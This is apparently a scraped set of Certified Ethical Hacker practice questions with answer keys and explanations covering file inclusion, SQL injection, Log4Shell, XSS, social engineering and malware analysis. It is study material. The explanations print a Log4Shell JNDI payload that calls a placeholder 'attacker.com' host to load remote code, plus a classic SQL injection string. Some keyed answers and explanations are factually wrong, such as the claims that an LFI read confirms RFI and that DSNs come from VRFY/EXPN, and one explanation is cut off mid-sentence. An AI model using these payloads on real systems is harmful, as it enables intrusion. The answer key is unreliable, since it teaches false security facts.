confidential.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:21:48.42+00:00","questionType":"multiple_choice"},{"id":"359e2e2a-5704-4e8e-b186-dd172ec1ba72","slug":"an-ethical-hacker-is-assessing-a-linux-web-server-running-ap-013ky","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"An ethical hacker is assessing a Linux web server running Apache. The server is suspected to have a remote file inclusion (RFI) vulnerability. Which testing approach is most appropriate to confirm the vulnerability without causing damage?","difficulty":"medium","domain":"Vulnerability Analysis and System Hacking","domainSlug":"vuln-analysis-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Craft a request with a local file inclusion parameter pointing to /etc/passwd","explanation":"This safely confirms RFI by reading a local file, proving the vulnerability.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Use SQLMap to test for SQL injection","explanation":"SQLMap tests for SQLi, not RFI.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Scan the server with Nikto to detect known RFI signatures","explanation":"Nikto can detect potential RFI, but manual verification is needed.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Attempt to include a remote URL containing a web shell","explanation":"This could compromise the server and is not a safe test.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Option A is correct because it uses a local file inclusion (LFI) parameter to test for file inclusion without causing damage. By attempting to include /etc/passwd, the tester can verify if the server processes user-supplied input to include files, which is a direct indicator of an RFI vulnerability if the server returns the file contents. This approach is safe and non-destructive, as it only reads a standard system file.","examTrap":"The trap here is that candidates may confuse RFI with LFI or think that using a web shell is acceptable for confirmation, but the CEH exam emphasizes non-destructive testing and ethical boundaries, making a local file inclusion test the correct first step.","examTip":null,"technicalDeepDive":"Remote file inclusion (RFI) vulnerabilities occur when an application dynamically includes external files based on user input without proper sanitization, often via PHP's include() or require() functions. Testing with a local file like /etc/passwd leverages the same underlying mechanism but uses a local resource, avoiding the need for an external server and reducing risk. In real-world scenarios, RFI can be chained with other vulnerabilities, such as log poisoning, to achieve code execution, but initial confirmation should always be non-destructive.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:10:57.805+00:00","questionType":"multiple_choice"},{"id":"809d1e89-1ada-4e27-8c9a-3cd597360ae7","slug":"a-penetration-tester-is-analyzing-a-captured-tcp-session-tha-kqsgm","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A penetration tester is analyzing a captured TCP session that includes a successful SQL injection attack. Which TWO of the following indicators would most likely confirm that the attack was successful?","difficulty":"medium","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"The server redirects to a login page (302)","explanation":"A redirect to login usually occurs after a failed authentication, not a successful SQL injection.","masteryContext":""},{"key":"B","isCorrect":false,"text":"The server returns a 500 Internal Server Error","explanation":"500 error typically indicates a syntax or runtime error, which may mean the injection failed or caused an error.","masteryContext":""},{"key":"C","isCorrect":true,"text":"The response contains database error messages or unexpected data","explanation":"Database error messages or extra data in the response are strong indicators of successful injection.","masteryContext":""},{"key":"D","isCorrect":true,"text":"The server returns a 200 OK status code","explanation":"200 OK often indicates the injected query executed successfully and returned data.","masteryContext":""},{"key":"E","isCorrect":false,"text":"The client receives no response (timeout)","explanation":"No response often indicates the injection caused a crash or infinite loop, not success.","masteryContext":""}],"correctOptionKey":"C,D","correctOptions":["C","D"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Option C is correct because a successful SQL injection often results in the database returning error messages or unexpected data directly in the HTTP response, confirming that the attacker's injected SQL statements were executed and returned results. This is a direct indicator of a successful attack, as the server processes the malicious input and includes database output in the response body.","examTrap":"The trap here is that candidates often mistake a 500 Internal Server Error (Option B) as a sign of success, but in CEH and real-world analysis, a 500 error usually indicates a failed or crashing injection, not a successful data extraction.","examTip":null,"technicalDeepDive":"Under the hood, a successful SQL injection exploits improper input sanitization in SQL queries, allowing an attacker to break out of the intended query structure and execute arbitrary SQL commands. The server's response may include database error messages (e.g., MySQL's 'You have an error in your SQL syntax') or unexpected data rows (e.g., UNION-based injection returning extra records), which are visible in the HTTP response body. In real-world scenarios, attackers often use blind SQL injection techniques when error messages are suppressed, but here the presence of error messages or unexpected data in the response is a clear sign of a successful in-band injection.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:06:44.286+00:00","questionType":"multi_select"},{"id":"35d55b1a-d415-486e-897d-caaaf1f7d4f7","slug":"a-security-analyst-receives-an-alert-about-a-suspicious-file-us51s","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A security analyst receives an alert about a suspicious file hash. The analyst wants to check if the file is known malware by querying an online database of malware signatures. Which tool should the analyst use?","difficulty":"easy","domain":"Cryptography and Malware Analysis","domainSlug":"cryptography-malware","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Nmap","explanation":"Nmap is a network mapping tool, not for hash lookup.","masteryContext":""},{"key":"B","isCorrect":false,"text":"John the Ripper","explanation":"John the Ripper is a password cracking tool.","masteryContext":""},{"key":"C","isCorrect":true,"text":"VirusTotal","explanation":"VirusTotal accepts file hashes and returns detection results from many AV engines.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Wireshark","explanation":"Wireshark captures and analyzes network packets.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"VirusTotal is a free online service that aggregates multiple antivirus engines and malware detection tools, allowing users to upload files or query file hashes against a vast database of known malware signatures. This directly matches the requirement to check if a file is known malware by querying an online database.","examTrap":"The trap here is that candidates may confuse tools like Nmap or Wireshark for malware analysis because they are commonly used in security investigations, but they lack the specific function of querying an online malware signature database.","examTip":null,"technicalDeepDive":"VirusTotal uses a REST API to accept file hashes (MD5, SHA-1, SHA-256) and returns detection results from over 70 antivirus engines, including behavioral analysis and community comments. A real-world scenario is incident response where an analyst extracts a suspicious file hash from a memory dump and queries VirusTotal to quickly determine if it is a known threat, saving time on static analysis.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:21:34.374+00:00","questionType":"multiple_choice"},{"id":"1910888c-8ccb-4dd8-8b17-f54e66aa23b0","slug":"which-of-the-following-best-describes-the-difference-between-l4e32","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which of the following best describes the difference between active and passive reconnaissance?","difficulty":"easy","domain":"Footprinting, Reconnaissance and Scanning","domainSlug":"ceh-recon-scanning","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Active reconnaissance is legal, while passive reconnaissance is not","explanation":"Both can be legal or illegal depending on authorization.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Active reconnaissance involves direct interaction with the target, whereas passive reconnaissance does not","explanation":"This is the core difference between the two approaches.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Passive reconnaissance uses tools like Nmap, while active reconnaissance uses Google dorks","explanation":"Nmap is active; Google dorks are passive.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Passive reconnaissance is used only during the exploitation phase","explanation":"Passive reconnaissance typically occurs during the footprinting phase.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Active reconnaissance involves direct interaction with the target system, such as sending packets, probes, or connection requests (e.g., using Nmap scans, ping sweeps, or banner grabbing) that can be logged or detected by the target. Passive reconnaissance, in contrast, gathers information without engaging the target directly, relying on publicly available sources (e.g., WHOIS lookups, DNS records, social media, or search engines) and does not generate traffic that reaches the target's network. This distinction is fundamental in the CEH methodology because active techniques carry a higher risk of alerting the target, while passive techniques are stealthier and often used first to avoid detection.","examTrap":"EC-Council often tests the misconception that passive reconnaissance is 'safer' or 'always legal,' but the trap here is confusing the method of interaction (direct vs. indirect) with legality or tool assignment, leading candidates to pick Option A or C instead of the correct definition based on target interaction.","examTip":null,"technicalDeepDive":"Under the hood, active reconnaissance relies on the target's network stack responding to crafted packets—for example, an Nmap SYN scan sends TCP SYN packets to ports and analyzes SYN-ACK or RST responses, which are logged by the target's firewall or IDS. Passive reconnaissance leverages OSINT (Open Source Intelligence) sources like ARIN WHOIS for IP ownership, DNS zone transfers (if misconfigured), or Shodan for exposed services—none of which require sending a single packet to the target. In a real-world penetration test, a tester might start with passive reconnaissance to map the target's attack surface (e.g., discovering subdomains via Certificate Transparency logs) before switching to active scanning to verify live hosts and open ports, minimizing the chance of early detection.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:31.129+00:00","questionType":"multiple_choice"},{"id":"d45c0a9c-e527-43f7-8f6e-93c10f885f1f","slug":"refer-to-the-exhibit-a-security-analyst-reviews-the-firewal-ctldy","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Refer to the exhibit. A security analyst reviews the firewall log and notices that user jdoe accessed a file server via SMB (port 445) from an internal IP (10.0.0.45) that is not the usual file server subnet. Which type of social engineering attack is most likely being attempted?","difficulty":"hard","domain":"Social Engineering and Physical Security","domainSlug":"social-eng-physical","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Phishing","explanation":"Phishing usually occurs via email or messaging, not direct SMB connections.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Vishing","explanation":"Vishing is voice phishing, not related to network traffic.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Tailgating","explanation":"Tailgating allows an attacker to physically enter a secured area and connect to the internal network from an unauthorized IP.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Baiting","explanation":"Baiting involves physical media like USB drives, not network logs.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The firewall log shows user jdoe accessing a file server via SMB (port 445) from an internal IP (10.0.0.45) that is not on the usual file server subnet. This indicates the attacker has physically entered the building or restricted area by following an authorized person (tailgating) and then connected a rogue device to the internal network to perform lateral movement. Tailgating is the social engineering attack that relies on gaining physical access by exploiting trust or courtesy, which aligns with the unauthorized internal IP and SMB activity.","examTrap":"The trap here is that candidates see SMB and internal IP and immediately think of a technical attack like phishing or baiting, but the key clue is the physical access implied by the unusual subnet, which points to tailgating as the social engineering vector.","examTip":null,"technicalDeepDive":"SMB (Server Message Block) over port 445 is used for file sharing, printer access, and remote administration in Windows networks; an attacker who tailgates into a facility can plug a laptop into an open Ethernet port or connect to the internal Wi-Fi, then use tools like PsExec or SMBexec to move laterally. In real-world scenarios, tailgating is often combined with badge cloning or social engineering at reception desks, and the unusual source IP (10.0.0.45) outside the file server subnet is a classic indicator of an unauthorized device on the network. The CEH exam emphasizes that tailgating bypasses physical security controls, leading to direct network access and potential SMB-based attacks like pass-the-hash or SMB relay.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n\n```\nFirewall Log:\nDate: 2023-10-12\nTime: 14:23:45\nSource IP: 10.0.0.45\nDestination IP: 192.168.1.100\nProtocol: TCP\nPort: 445\nAction: ALLOW\nUser: jdoe\nReason: Rule ID 3 (SMB access to file server)\n```\n\nExhibit:","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:08:50.286+00:00","questionType":"multiple_choice"},{"id":"a9fd0350-67ca-4277-9f07-b27b030f0367","slug":"a-security-analyst-runs-a-vulnerability-scan-and-finds-that-8c0hh","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A security analyst runs a vulnerability scan and finds that a server is vulnerable to CVE-2021-44228 (Log4j). Which of the following is the best immediate remediation step?","difficulty":"easy","domain":"Vulnerability Analysis and System Hacking","domainSlug":"vuln-analysis-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Update Log4j to version 2.17.1 or later","explanation":"Patching directly addresses the vulnerability.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Remove the JndiLookup class from the Log4j jar","explanation":"This is a workaround, but patching is preferred.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Disable JDBC appender in Log4j configuration","explanation":"This only mitigates one attack vector.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Block outbound traffic from the server to the internet","explanation":"This is a temporary mitigation, not a fix.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Option A is correct because CVE-2021-44228 (Log4Shell) is a remote code execution vulnerability in Apache Log4j versions 2.0 through 2.14.1, triggered by JNDI lookups in log messages. Updating to Log4j 2.17.1 or later fully patches the flaw by disabling JNDI lookups by default and fixing the LDAP deserialization vector. This is the vendor-recommended immediate remediation step as it addresses the root cause without relying on workarounds.","examTrap":"The trap here is that candidates often choose Option B (removing JndiLookup) because it was widely publicized as a quick fix, but the CEH exam expects you to know that only a full version update to 2.17.1 or later is the complete and recommended remediation, as the class removal is version-dependent and does not address all attack surfaces.","examTip":null,"technicalDeepDive":"The Log4Shell vulnerability exploits the JNDI lookup feature in Log4j, which allows an attacker to inject a malicious LDAP or RMI URL (e.g., ${jndi:ldap://attacker.com/a}) into a log message. When Log4j processes the message, it performs a JNDI lookup that downloads and executes arbitrary Java code from the attacker's server. The patch in version 2.17.1 completely disables JNDI lookups by default and also mitigates related CVEs like CVE-2021-45046 and CVE-2021-45105, making it the definitive fix.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:09:56.342+00:00","questionType":"multiple_choice"},{"id":"cce167b6-996c-467b-8da9-3d8ebf62ef37","slug":"which-three-of-the-following-are-types-of-cryptanalytic-atta-5knbu","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which THREE of the following are types of cryptanalytic attacks? (Choose three.)","difficulty":"medium","domain":"Cryptography and Malware Analysis","domainSlug":"cryptography-malware","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Differential cryptanalysis","explanation":"Analyzes how differences in plaintext affect differences in ciphertext.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Rainbow table attack","explanation":"Rainbow tables are used to reverse hash functions, not cryptanalysis of encryption.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Linear cryptanalysis","explanation":"Finds linear approximations to the cipher's behavior.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Brute-force attack","explanation":"Tries all possible keys to decrypt.","masteryContext":""},{"key":"E","isCorrect":false,"text":"Replay attack","explanation":"Replay attacks retransmit valid data, not a cryptanalytic technique.","masteryContext":""}],"correctOptionKey":"A,C,D","correctOptions":["A","C","D"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Differential cryptanalysis is a chosen-plaintext attack that analyzes how differences in plaintext pairs affect the resulting ciphertext differences, exploiting statistical biases to recover the encryption key. It is a fundamental cryptanalytic technique, particularly effective against block ciphers like DES.","examTrap":"EC-Council often tests the distinction between cryptanalytic attacks (which target the cipher's mathematical structure) and other attack types like hash precomputation or protocol-level attacks, so candidates mistakenly classify rainbow table or replay attacks as cryptanalytic.","examTip":null,"technicalDeepDive":"Differential cryptanalysis works by tracking the propagation of XOR differences through the cipher's rounds, using high-probability differential characteristics to reduce the key space. Linear cryptanalysis, another correct answer, uses linear approximations of the cipher's nonlinear components (S-boxes) to derive key bits. Both are statistical attacks that require many plaintext-ciphertext pairs, typically millions for modern ciphers like AES.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.948+00:00","questionType":"multi_select"},{"id":"abc1daa7-e605-43f6-8879-a80e7331ed00","slug":"a-malware-analyst-is-investigating-a-suspicious-executable-t-mkyey","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A malware analyst is investigating a suspicious executable that appears to be a Trojan. The analyst runs the executable in a sandbox and observes the following behavior: it creates a hidden file in the %AppData% directory, modifies the Windows registry to add a startup entry, and attempts to connect to an external IP address on port 443 using HTTPS. Which TWO of the following techniques are likely being used by this malware?","difficulty":"medium","domain":"Cryptography and Malware Analysis","domainSlug":"cryptography-malware","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Keylogging","explanation":"No keylogging activity is observed in the description.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Fileless execution","explanation":"The malware creates a hidden file on disk, indicating it is not fileless.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Persistence mechanism","explanation":"Adding a startup registry entry is a common persistence technique.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Privilege escalation","explanation":"No behavior indicates an attempt to escalate privileges.","masteryContext":""},{"key":"E","isCorrect":true,"text":"Command and control communication","explanation":"Connecting to an external IP over HTTPS is typical for C2.","masteryContext":""}],"correctOptionKey":"C,E","correctOptions":["C","E"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"The malware adds a startup entry in the Windows registry (e.g., Run or RunOnce keys), which ensures the executable is automatically launched each time the user logs in. This is a classic persistence mechanism, as defined by MITRE ATT&CK technique T1547.003, because it maintains the malware's presence across system reboots.","examTrap":"EC-Council often tests the distinction between persistence and privilege escalation, where candidates mistakenly think modifying the registry requires elevated privileges, but HKCU keys are user-writable without admin rights.","examTip":null,"technicalDeepDive":"The registry startup entry (e.g., HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) is a common persistence location because it requires no administrator privileges and executes under the user's context. The connection to an external IP on port 443 using HTTPS indicates command and control (C2) communication, often using encrypted channels to evade detection and blend with legitimate web traffic. In real-world scenarios, malware like Emotet uses similar persistence and HTTPS-based C2 to maintain access and exfiltrate data.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:27.716+00:00","questionType":"multi_select"},{"id":"ffea74ed-1c21-411a-93a9-53cde7d768c4","slug":"a-security-analyst-is-configuring-a-web-application-firewall-z5cp4","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A security analyst is configuring a web application firewall (WAF) to protect against SQL injection. Which HTTP parameter location should the analyst focus on to block malicious SQL queries?","difficulty":"easy","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Query string parameters","explanation":"Query string parameters are a common vector for SQL injection.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Request body (POST data)","explanation":"POST data is also a vector, but query string is more commonly exploited.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Cookie headers","explanation":"SQL injection is not typically carried out via cookies.","masteryContext":""},{"key":"D","isCorrect":false,"text":"User-Agent header","explanation":"User-Agent is not a typical SQL injection vector.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"SQL injection attacks commonly target query string parameters because user input in URLs is often directly concatenated into SQL queries without proper sanitization. A WAF configured to inspect and filter query string parameters can block malicious SQL payloads before they reach the database server, as these parameters are the most frequent vector for such attacks.","examTrap":"The trap here is that candidates may think POST data is the only vector for SQL injection, but the CEH exam emphasizes that query string parameters are the most common and should be the first focus for WAF configuration.","examTip":null,"technicalDeepDive":"Under the hood, SQL injection exploits occur when unsanitized input from HTTP parameters is embedded in SQL statements, often via dynamic query building. For example, a URL like `http://example.com/products?id=1' OR '1'='1` passes the malicious payload through the query string, which the WAF must parse and match against SQL injection signatures. In real-world scenarios, attackers also use encoding or comment tricks to bypass WAF rules, making deep packet inspection of query strings critical.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:12:01.755+00:00","questionType":"multiple_choice"},{"id":"1b077c0f-36e0-45d8-8a48-d4abd5d00d10","slug":"during-the-reconnaissance-phase-a-tester-discovers-that-the-o6fhx","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During the reconnaissance phase, a tester discovers that the target company's email server is configured to automatically respond to delivery status notifications (DSNs). Which type of attack could this information facilitate?","difficulty":"medium","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"DNS cache poisoning","explanation":"DNS poisoning targets DNS servers.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Email enumeration","explanation":"DSN responses can confirm valid addresses.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Man-in-the-middle attack","explanation":"Requires intercepting traffic.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Phishing attack","explanation":"Phishing uses social engineering, not DSN.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Email servers that automatically respond to Delivery Status Notifications (DSNs) as defined in RFC 1891/3464 can be exploited for email enumeration. By sending a message to a non-existent address, the DSN response will indicate the address is invalid, while a valid address may generate no DSN or a different response. This allows an attacker to systematically verify valid email addresses on the target domain without triggering a full bounce-back to the original sender.","examTrap":"EC-Council often tests the distinction between passive reconnaissance (like email enumeration via DSN) and active attacks (like MITM or phishing), so candidates mistakenly choose 'Phishing attack' because they associate email servers with phishing, but the question specifically asks what the DSN behavior facilitates during reconnaissance.","examTip":null,"technicalDeepDive":"Under the hood, DSNs are generated by the Mail Transfer Agent (MTA) using the SMTP VRFY or EXPN commands, or via bounce messages when a recipient is unknown. The tester can craft an email with a deliberately invalid recipient and analyze the DSN's status code (e.g., 5.1.1 for unknown user) versus a valid recipient that may return a 2.5.0 success. In real-world scenarios, tools like smtp-user-enum or Metasploit's smtp_enum module automate this by sending RCPT TO commands and parsing the server's response codes.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.524+00:00","questionType":"multiple_choice"},{"id":"d5680d97-726b-4666-a941-ca7308640081","slug":"during-a-penetration-test-you-notice-that-a-web-application-ysecb","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During a penetration test, you notice that a web application accepts user input and displays it directly in the browser without sanitization. Which attack is most likely to succeed?","difficulty":"medium","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"SQL Injection","explanation":"SQL injection targets database queries, not browser output.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Cross-Site Request Forgery (CSRF)","explanation":"CSRF exploits user authentication to perform unauthorized actions.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Cross-Site Scripting (XSS)","explanation":"Reflected XSS is the direct result of unsanitized input displayed in the browser.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Command Injection","explanation":"Command injection targets server-side command execution.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Option C is correct because the scenario describes a classic reflected Cross-Site Scripting (XSS) vulnerability. The application accepts user input and displays it directly in the browser without sanitization, allowing an attacker to inject malicious JavaScript that executes in the victim's browser. This is the defining characteristic of XSS, not SQL injection or command injection, which target server-side interpreters.","examTrap":"EC-Council often tests the distinction between reflected XSS and stored XSS; the trap here is that candidates may assume any unsanitized input is SQL injection, but the key clue is direct display in the browser without server-side processing like database queries or command execution.","examTip":null,"technicalDeepDive":"In reflected XSS, the unsanitized input is typically echoed back in the HTTP response body, often within a script context or HTML attribute. For example, if the input is placed inside a . Real-world attacks often use event handlers (e.g., onerror) or break out of existing HTML attributes to execute arbitrary JavaScript, bypassing simple filters.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.319+00:00","questionType":"multiple_choice"},{"id":"c5f98d60-1b7d-426a-8ae1-7cf736366621","slug":"an-employee-receives-an-email-that-appears-to-be-from-the-ce-tuvuy","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"An employee receives an email that appears to be from the CEO, asking the employee to urgently wire funds to a vendor. The email address is slightly misspelled. What type of social engineering attack is this?","difficulty":"medium","domain":"Social Engineering and Physical Security","domainSlug":"social-eng-physical","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Pharming","explanation":"Pharming redirects users to fraudulent websites.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Spear phishing","explanation":"Spear phishing targets a specific person, but does not necessarily impersonate a high-level executive.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Whaling","explanation":"Whaling targets senior executives or impersonates them.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Vishing","explanation":"Vishing uses phone calls, not email.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"This is a whaling attack because it specifically targets a high-profile individual (the CEO) to deceive another employee into performing a financial action. The slight misspelling of the email address is a classic whaling technique, as the attacker impersonates a senior executive to exploit authority and urgency. Unlike generic phishing, whaling focuses on C-level executives or decision-makers.","examTrap":"EC-Council often tests the distinction between spear phishing and whaling by emphasizing that whaling specifically targets senior executives, while spear phishing can target any individual or role within an organization.","examTip":null,"technicalDeepDive":"Whaling often leverages social engineering to bypass technical controls like email filters by using lookalike domains (e.g., ceo@cornpany.com instead of ceo@company.com) or spoofed display names. Attackers may also research the target's organizational hierarchy and communication patterns to craft a believable request, exploiting the trust placed in executive authority. In real-world scenarios, such attacks have led to significant financial losses, as employees are conditioned to obey urgent requests from leadership without 